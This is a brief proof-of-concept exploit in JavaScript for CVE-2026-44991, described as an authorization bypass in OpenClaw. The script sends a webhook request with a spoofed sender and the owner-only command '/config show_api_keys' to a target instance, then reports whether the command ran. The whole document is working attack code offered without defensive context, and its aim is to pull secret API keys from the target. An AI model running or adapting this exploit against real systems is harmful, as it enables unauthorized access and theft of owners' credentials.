CVE-2026-44991

// PoC for CVE-2026-44991: OpenClaw Authorization Bypass // Exploit: Sending owner-enforced commands via wildcard sender const axios = require('axios'); const targetUrl = 'https://target-openclaw-instance.com/api/webhook'; // Malicious payload attempting to execute owner-only command const exploitPayload = { sender: '[email protected]', message: '/config show_api_keys' // Command restricted to owner }; axios.post(targetUrl, exploitPayload) .then(response => { console.log('[+] Command executed successfully:', response.data); }) .catch(error => { console.error('[-] Exploit failed:', error.message); });

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